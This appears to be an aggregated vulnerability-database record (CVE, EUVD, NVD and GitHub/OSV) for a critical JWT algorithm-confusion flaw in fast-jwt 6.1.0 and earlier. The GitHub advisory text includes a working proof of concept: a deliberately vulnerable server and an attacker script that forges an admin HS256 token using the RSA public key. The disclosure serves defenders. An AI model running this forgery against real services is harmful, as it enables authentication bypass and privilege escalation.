{"id":"EUVD-2026-19356","revision":null,"records":[{"revision":"c5e79f00378e47878c648789aff17f3d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34950","aliases":[],"title":"fast-jwt has an incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that CVE-2023-48223 patched.","state":0,"publishedAt":"2026-04-06T15:54:03.765+00:00","modifiedAt":"2026-04-06T18:43:16.088+00:00","affected":[{"ecosystem":"Vendor product","name":"fast-jwt","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nearform\",\n                    \"product\": \"fast-jwt\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 6.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34950","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34950","identifiers":["CVE-2026-34950"]},"retained":false,"historicalAffected":[]},{"revision":"715465ff3ca54a7ea3fe10fb57ebb3e3","observedAt":"2026-11-01T06:07:50.479+00:00","statement":{"source":"euvd","id":"EUVD-2026-19356","aliases":["CVE-2026-34950","GHSA-mvf2-f6gm-w987"],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact sa…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that CVE-2023-48223 patched.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":null}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19356","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 6, 2026, 3:54:03 PM","dateUpdated":"Apr 6, 2026, 6:43:16 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-19356","identifiers":["EUVD-2026-19356","CVE-2026-34950","GHSA-mvf2-f6gm-w987"]},"retained":false,"historicalAffected":[]},{"revision":"9cd0ccdc794944d49258c05dcc977694","observedAt":"2026-10-27T09:03:08.102+00:00","statement":{"source":"nvd","id":"CVE-2026-34950","aliases":[],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact sa…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. In 6.1.0 and earlier, the publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that CVE-2023-48223 patched.","state":0,"publishedAt":"2026-04-06T16:16:38.017+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34950","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-327"],"productCriteria":["cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-06T16:16:38.017","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34950","identifiers":["CVE-2026-34950"]},"retained":false,"historicalAffected":[]},{"revision":"6fc5b214918446989f711eec72d89af3","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mvf2-f6gm-w987","aliases":["CVE-2026-34950"],"title":"fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key","description":"### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n  plain string used with .includes() to a regex used with .match():\n\n```\n  // Before fix (vulnerable to original CVE)\n  const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n  // .includes() matched anywhere in the string — not vulnerable to whitespace\n\n  // After fix (current code, line 28)\n  const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n  // ^ anchor requires match at position 0 — defeated by leading whitespace\n\n  In performDetectPublicKeyAlgorithms()\n  (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n  function performDetectPublicKeyAlgorithms(key) {\n    const publicKeyPemMatch = key.match(publicKeyPemMatcher)  // no .trim()!\n\n    if (key.match(privateKeyPemMatcher)) {\n      throw ...\n    } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {\n      return rsaAlgorithms      // ← correct path: restricts to RS/PS algorithms\n    } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {\n      return hsAlgorithms        // ← VULNERABLE: RSA key falls through here\n    }\n\n```\n  When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n  public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n  HMAC secret — the exact same attack as CVE-2023-48223.\n\n  Notably, the private key detection function does call .trim() before matching\n  https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher)  // trims — not vulnerable\n\n  The public key path does not. This inconsistency is the root cause.\n\n  Leading whitespace in PEM key strings is common in real-world deployments:\n  - PostgreSQL/MySQL text columns often return strings with leading newlines\n  - YAML multiline strings (|, >) can introduce leading whitespace\n  - Environment variables with embedded newlines\n  - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n  const http = require('node:http');\n  const { generateKeyPairSync } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n  const { createSigner, createVerifier } = require('fast-jwt');\n\n  const port = 3000;\n\n  // Generate RSA key pair\n  const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\n  const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });\n  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });\n\n  // Simulate real-world scenario: key retrieved from database with leading newline\n  const publicKeyFromDB = '\\n' + publicKeyPem;\n\n  // Write public key to disk so attacker can recover it\n  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);\n\n  const server = http.createServer((req, res) => {\n    const url = new URL(req.url, `http://localhost:${port}`);\n\n    // Endpoint to generate a JWT token with admin: false\n    if (url.pathname === '/generateToken') {\n      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };\n      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });\n      const token = signSync(payload);\n      res.writeHead(200, { 'Content-Type': 'application/json' });\n      res.end(JSON.stringify({ token }));\n      return;\n    }\n\n    // Endpoint to check if you are the admin or not\n    if (url.pathname === '/checkAdmin') {\n      const token = url.searchParams.get('token');\n      try {\n        const verifySync = createVerifier({ key: publicKeyFromDB });\n        const payload = verifySync(token);\n        res.writeHead(200, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify(payload));\n      } catch (err) {\n        res.writeHead(401, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify({ error: err.message }));\n      }\n      return;\n    }\n\n    res.writeHead(404);\n    res.end('Not found');\n  });\n\n  server.listen(port, () => console.log(`Server running on http://localhost:${port}`));\n```\n\n  Attacker script (attacker.js):\n\n```\n  const { createHmac } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n\n  const serverUrl = 'http://localhost:3000';\n\n  async function main() {\n    // Step 1: Get a legitimate token\n    const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n    const { token: legitimateToken } = await res.json();\n    console.log('Legitimate token payload:',\n      JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));\n\n    // Step 2: Recover the public key\n    // (In the original advisory: python3 jwt_forgery.py token1 token2)\n    const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');\n\n    // Step 3: Forge an HS256 token with admin: true\n    // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n    const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\n    const payload = Buffer.from(JSON.stringify({\n      admin: true, name: 'attacker',\n      iat: Math.floor(Date.now() / 1000),\n      exp: Math.floor(Date.now() / 1000) + 3600\n    })).toString('base64url');\n    const signature = createHmac('sha256', publicKey)\n      .update(header + '.' + payload).digest('base64url');\n    const forgedToken = header + '.' + payload + '.' + signature;\n\n    // Step 4: Present forged token to /checkAdmin\n    // 4a. Legitimate RS256 token — REJECTED\n    const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n    console.log('Legitimate RS256 token:', legRes.status, await legRes.json());\n\n    // 4b. Forged HS256 token — ACCEPTED\n    const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n    console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());\n  }\n\n  main().catch(console.error);\n```\n\n  Running the PoC:\n  # Terminal 1\n  node server.js\n\n  # Terminal 2\n  node attacker.js\n\n  Output:\n  Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 }\n  Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' }\n  Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }\n\n  The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's\n  forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).","state":0,"publishedAt":"2026-04-02T20:37:54+00:00","modifiedAt":"2026-04-07T17:34:20.291474+00:00","affected":[{"ecosystem":"npm","name":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987","https://nvd.nist.gov/vuln/detail/CVE-2026-34950","https://github.com/advisories/GHSA-c2ff-88x2-x9pg","https://github.com/nearform/fast-jwt"],"sourceUrl":"https://github.com/advisories/GHSA-mvf2-f6gm-w987","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mvf2-f6gm-w987","identifiers":["GHSA-mvf2-f6gm-w987","CVE-2026-34950"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5916126+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5916133+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d5c3ebbfb28a03509d20973fbb2330bc7b9e252e9828be2e66ae9aea69b49ce1","complete":true,"records":417669,"lastAttemptAt":"2026-11-01T18:57:22.5530729+00:00","lastSuccessAt":"2026-11-01T18:57:22.2751752+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.5530729+00:00","snapshotPublishedAt":"2026-11-01T18:27:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-35b3277f93af45a38903f87f33008ff6","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T18:09:13.7653963+00:00","lastSuccessAt":"2026-11-01T18:09:13.759+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:09:13.759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5924164+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5924166+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7045ba394160400f8f8ae145a6052ae9","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T17:57:28.2948021+00:00","lastSuccessAt":"2026-11-01T17:57:28.288+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:28.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T17:57:21.3611317+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3611317+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T18:57:22.7482139+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.7482139+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T17:57:21.3756349+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3756349+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T18:57:28.78235+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.1761784+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":true,"stagedRecords":230997,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}